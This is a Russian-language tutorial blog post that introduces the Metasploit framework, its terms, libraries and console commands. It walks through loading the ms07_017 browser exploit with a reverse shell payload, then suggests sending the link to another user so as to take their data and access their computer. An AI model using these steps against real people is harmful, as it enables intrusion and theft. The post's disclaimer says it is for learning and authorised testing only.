Что такое Metasploit? И что нужно знать о нем

 

Давайте для начала начнем с того, что же такое этот Metasploit framework и разберемся немного с терминологией, чтоб было понятно что эти слова означают.

 

И поехали:

Metasploit framework- является полностью бесплатный framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан этот фреймфорк на языке Ruby. Metasploit обладает крупнейшими базами данных уязвимостей и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний, написанных на языке Ruby. И сделан для того, чтоб быть в курсе о уязвимостях которые находятся в тех или иных программных обеспечения, чтоб сделать ваш продукт защищеннее чем он может быть.

 

Уязвимость (Vulnerability) — это слабое место, так сказать пята Ахилеса, которая позволяет злоумышленнику взламывать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.

 

​​Эксплоит (Exploit) — это код с помощью которого злоумышленник может взломать систему, программу и т.п., у которой есть уязвимость. Каждое слабое место имеет свой собственный соответствующий эксплойт.

 

Payload — это код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.

 

Давайте попробую показать на картинке для более подробного понимания этих слов.

gallery/1_o78qwcqkcdxqhez6li-t6g
gallery/1_hstf6xl0qheyohfgi70drq
Вернуться назад

В Metasploit входят различные виды библиотек, которые играют большую роль в функционировании framework. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть framework написана на языке Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.

 

Далее есть MSF Core библиотека, которая расширяет RexCore несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.

 

Metasploit состоит из четырех так называемых пользовательских интерфейсов:

- msfconsole

 

- msfcli

 

- msfgui

 

- msfweb

 

Установка Metasploit доступна для всех Linux дистрибутивов , в Linux kaly он идет уже прям из коробки.

Скачайте Metasploit c офф сайта.

 

Перед тем как начать применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

 

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину допустим с помощью утилиты Nmap. О том как пользоваться ним можете прочесть другую мою статью, перейдя по ссылке. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита.

 

Давайте пробежимся по некоторым командам, которые применяются вместе с эксплоитами:

 

show payloads и show exploits — эти две команды показывают список доступных эксплоитов и payloads. например:

 

1 msf exploit(ms03_026_dcom) > show options

2 Module options (exploit/windows/dcerpc/ms03_026_dcom):

3 Name Current Setting Required Description

4 — — — — — — — — — — — — — — — — — — — -

5 RHOST yes The target address

6 RPORT 135 yes The target port

 

search exploit — команда будет искать конкретный эксплоит, например

 

1 msf > search ms03_026_dcom

2 Matching Modules

3 ================

4 Name Disclosure Date Rank Description

5 — — — — — — — — — — — — — — — — — -

6 exploit/windows/dcerpc/ms03_026_dcom 2003–07–16 great Microsoft RPC DCOM

 

use exploit — команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться. например:

 

1 msf > use exploit/windows/dcerpc/ms03_026_dcom

2 msf exploit(ms03_026_dcom) >

 

set — эта команда задает значения для параметров/опций в эксплоите, см. след. команду. например:

 

1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102

2 RHOST =>102.168.56.102

3 msf exploit(ms03_026_dcom) >

 

show targets — каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

 

1 msf exploit(ms03_026_dcom) > show targets

2 Exploit targets:

3 Id Name

4 — — —

5 0 Windows NT SP3–6a/2000/XP/2003 Universal

 

А теперь можем потренироваться с такой уязвимостью как ms07_017. Которая позволяет снифферить все данные пользователя, который перешел по ссылке, которую дадим ему. Пример как это делать я показал в видео вверху статьи.

 

Для начала нам нужно найти ее полный путь поэтому выполним команду:

 

search ms07_017

 

Затем заюзать этот эксплоит командой:

 

use exploit/windows/brouser/ms07_017_ani_loadimage_chunksize

 

Смотрим информацию о данном эксплоите, что именно нам надо добавить для полноценного пользования. Пишем команду:

 

show option

 

Затем видим,что нам нужно задать payload, тоесть ОС на которую будет происходить атака. Для этого используем команду:

 

set Payload windows/shell/reverse_tsp

 

Видим также, что от нас требуется задать ip своего компа, по-этому пишем команду + свой айпи:

 

set LHOST 192.168.52.159

 

Можем теперь свой айпи кинуть какому-то пользователю и он перейдя на нее передаст нам полностью все свои данные, а так же откроет доступ к своему компьютеру, что дас там возможность даже создавать папки, читать файлы и тд.

 

И помните все показанное выше, сделано в целях обучения!!!

Можно применять только на своих проектах, после разрешения.

И так, как мы видим стрелочку с названием Vulnerability, она показывает на уязвимость в холме (под холмом имеем введу ОС, DB и тд), куда может просочиться наш так называемый подготовленный набор скриптов Exploit, который спровоцирует взрыв в нашей системе (а именно доступ к ОС, изменение логики либо передачу данных пользователя удаленно). Ну а в конечном итоге выполним, после отработки злоскрипта, выполним следующий скрипт Payload, то-есть то, что мы хотим, чтоб в этой ОС, DB произошло по нашему. Надеюсь, я донес идею того как работает эта уязвимость.

 

А теперь перейдем к архитектурному виду нашего framework: